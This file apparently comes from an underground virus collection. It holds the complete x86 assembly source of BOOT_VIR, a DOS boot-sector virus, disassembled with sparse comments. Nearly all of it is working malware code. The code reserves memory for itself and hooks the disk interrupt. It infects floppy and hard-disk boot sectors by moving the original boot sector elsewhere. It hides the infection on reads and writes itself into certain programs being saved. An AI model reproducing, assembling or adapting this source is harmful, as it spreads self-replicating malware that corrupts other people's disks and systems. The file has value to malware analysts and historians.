Underground/Underground CD1.iso/virii/zrodla/b/boot_vir.asm

Assembly Source File | 1998-01-14 | 6.2 KB | 316 lines

;██████████████████████████████████████████████████████████████████████████
;██                                                     ██
;██                BOOT_VIR                                 ██
;██                                                     ██
;██      Created:   9-Jul-93        Comments by  Mike M.             ██
;██                                                     ██
;██████████████████████████████████████████████████████████████████████████

Int60_Offset    equ    180h
Int60_Segment    equ    182h
main_ram_size_    equ    413h
d_0000_07B4_e    equ    7B4h            ;*

seg_a        segment    byte public
        assume    cs:seg_a, ds:seg_a


        org    0

boot_vir    proc    far

start:
        nop
        nop
        nop
        cli
        xor    ax,ax
        mov    ds,ax
        mov    ss,ax
        mov    sp,7C00h
        mov    si,sp
        sti
        mov    ax,ds:main_ram_size_
        dec    ax
        mov    ds:main_ram_size_,ax
        mov    cl,6
        shl    ax,cl
        push    ax
        mov    es,ax
        mov    cx,200h
        xor    di,di
        rep    movsb
        mov    ax,2Eh
        push    ax
        retf

SectorNum    db    2                  ; Location
Cylinder    db    27h                ; of original
Drive        db    0                  ; boot sector
Side        db    0                  ; on infected disk

boot_vir    endp

;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;                              SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄

main        proc    near
        mov    ax,word ptr ds:[4Ch]
        mov    word ptr ds:[180h],ax
        mov    ax,word ptr ds:[4Eh]
        mov    word ptr ds:[182h],ax
        cli
        mov    ax,78h
        mov    word ptr ds:[4Ch],ax
        mov    word ptr ds:[4Eh],es
        mov    word ptr ds:[188h],ax
        mov    word ptr ds:[18Ah],es
        mov    byte ptr ds:[187h],0EAh
        sti
        push    ds
        push    cs
        pop    ds
        mov    cx,word ptr SectorNum
        mov    dx,word ptr Drive
        cmp    Drive,0
        jne    loc_006D
        push    dx
        push    cx
        xor    bx,bx
        call    sub_019F
        pop    cx
        pop    dx
loc_006D:
        mov    ax,201h
        pop    es
        mov    bx,sp
        push    es
        push    bx
        int    60h            ; original Int 13h
        retf
main        endp


;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;                              SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄

In13_Handler    proc    near
        cmp    ah,2
        jne    loc_00B9
        cmp    dl,80h
        jae    loc_008A
        cmp    ch,1
        ja    loc_008A
        call    sub_00CF
loc_008A:
        cmp    cx,1
        jne    loc_00CA
        cmp    dh,0
        jne    loc_00CA
        int    60h            ; original Int 13h
        jnc    loc_009B

loc_ret_0098:
        retf    2
loc_009B:
        cmp    word ptr es:[bx],9090h
        jne    loc_ret_0098
        push    dx
        push    cx
        push    ax
        pushf
        mov    ax,201h
        mov    cx,es:[bx+2Ah]
        mov    dx,es:[bx+2Ch]
        int    60h            ; original Int 13h
        popf
        pop    ax
        pop    cx
        pop    dx
        jmp    short loc_ret_0098
loc_00B9:
        cmp    ah,3
        jne    loc_00CA
        cmp    al,2
        jb    loc_00CA
        cmp    dl,80h
        jae    loc_00CA
        call    sub_0140
loc_00CA:
        int    60h            ; original Int 13h
        retf    2
In13_Handler    endp


;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;                              SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄

sub_00CF    proc    near
        push    es
        push    ax
        push    bx
        push    cx
        push    dx
        mov    al,1
        mov    cx,1
        mov    dh,0
        int    60h            ; original Int 13h
        jc    loc_011D
        cmp    word ptr es:[bx],9090h
        je    loc_011D
        mov    ax,es:[bx+13h]
        push    dx
        xor    dx,dx
        div    word ptr es:[bx+18h]
        shr    ax,1
        dec    al
        pop    dx
        mov    dh,0
        mov    cl,2
        mov    ch,al
        mov    ax,301h
        int    60h            ; original Int 13h
        jc    loc_011D
        mov    cs:Cylinder,ch
        mov    word ptr cs:Drive,0
        xor    bx,bx
        push    cs
        pop    es
        mov    ax,301h
        mov    cx,1
        mov    dh,0
        int    60h            ; original Int 13h
loc_011D:
        call    sub_0126
        pop    dx
        pop    cx
        pop    bx
        pop    ax
        pop    es
        retn
sub_00CF    endp


;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;                              SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄

sub_0126    proc    near
        push    ds
        xor    bx,bx
        mov    ds,bx
        mov    bx,d_0000_07B4_e
        cmp    word ptr [bx],78h
        jne    loc_013E
        cli
        mov    word ptr [bx],1187h
        mov    word ptr [bx+2],0FF00h
        sti
loc_013E:
        pop    ds
        retn
sub_0126    endp


;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;                              SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄

sub_0140    proc    near
        cmp    byte ptr es:[bx],0E9h
        jne    loc_ret_016B
        cmp    word ptr es:[bx+1],5000h
        jb    loc_ret_016B
        push    ds
        push    si
        push    di
        push    cx
        mov    di,bx
        push    cs
        pop    ds
        xor    si,si
        mov    cx,200h
        rep    movsb
        mov    byte ptr es:[bx],0E9h
        mov    word ptr es:[bx+1],169h
        pop    cx
        pop    di
        pop    si
        pop    ds

loc_ret_016B:
        retn
sub_0140    endp


;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;                              SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄

sub_016C    proc    near
        call    sub_016F

;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀

sub_016F:
        pop    bx
        push    cs
        pop    es
        sub    bx,16Fh
        mov    byte ptr cs:[bx],90h
        mov    word ptr cs:[bx+1],9090h
        xor    ax,ax
        mov    ds,ax
        cmp    word ptr ds:d_0000_07B4_e,1187h
        je    loc_019B
        les    di,dword ptr ds:d_0000_07B4_e
        mov    ds:Int60_Offset,di
        mov    ds:Int60_Segment,es
        call    sub_019F
loc_019B:
        mov    ah,4Ch
        int    21h

;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀

sub_019F:
        mov    ax,201h
        push    bx
        push    ax
        mov    cx,1
        mov    dx,80h
        add    bx,200h
        int    60h            ; original Int 13h
        pop    ax
        jc    loc_01D4
        cmp    word ptr es:[bx],9090h
        je    loc_01D4
        inc    ah
        push    ax
        inc    cl
        int    60h            ; original Int 13h
        pop    ax
        jc    loc_01D4
        pop    bx
        mov    byte ptr es:[bx+2Ch],80h
        mov    byte ptr es:[bx+2Bh],0
        dec    cl
        int    60h            ; original Int 13h
        retn
loc_01D4:
        pop    bx
        retn
sub_016C    endp

        db    40 dup (90h)
        db     55h,0AAh

seg_a        ends



        end    start